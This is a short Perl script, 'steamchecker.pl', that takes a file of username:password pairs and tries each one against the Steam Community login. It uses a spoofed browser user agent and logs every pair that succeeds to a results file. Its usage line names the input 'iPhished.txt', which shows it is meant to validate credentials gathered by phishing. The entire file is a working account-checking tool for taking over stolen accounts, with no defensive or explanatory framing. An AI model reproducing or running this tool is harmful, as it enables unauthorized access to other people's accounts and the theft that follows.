#!/usr/bin/perl
use HTTP::Cookies;
$myCookies = HTTP::Cookies->new();
use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
   $ua->cookie_jar($myCookies);
   $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4');
push @{$ua->requests_redirectable}, 'POST';

if(@ARGV!= 2){&usage;}
else{
my $loginlist = $ARGV[0];
my $resultlist = $ARGV[1];
open("xfile", $loginlist) || die "Couldn't open $loginlist\n";
while(my $line = <xfile>){
    chomp($line);
my    @details = split(/:/,$line);
if(($details[0]) && ($details[1])){
        print "Checking $details[0] : $details[1]\t\t";
if(steam($details[0],$details[1])){print "Success\n";
open(LOG,">>$resultlist") || die "Couldn't open $resultlist\n";
print LOG "$details[0]:$details[1]\n";
close(LOG);
}else{print "Failure\n";}}}}

sub steam($$){
my $username = $_[0];
my $password = $_[1];
my $url = "https://steamcommunity.com/?action=doLogin&steamAccountName=$username&steamPassword=$password";
my $login = $ua->get($url);
if($login->content =~ m/Signed in as/){
$myCookies->clear;
return 1;
}
else{
return 0;
}
}

sub usage{
    print "[-] steamchecker.pl <logins> (login:pass format) <results>\n";
    print "[-] steamchecker.pl iPhished.txt thx.txt\n";
    die("[!] Incorrect usage\n");
}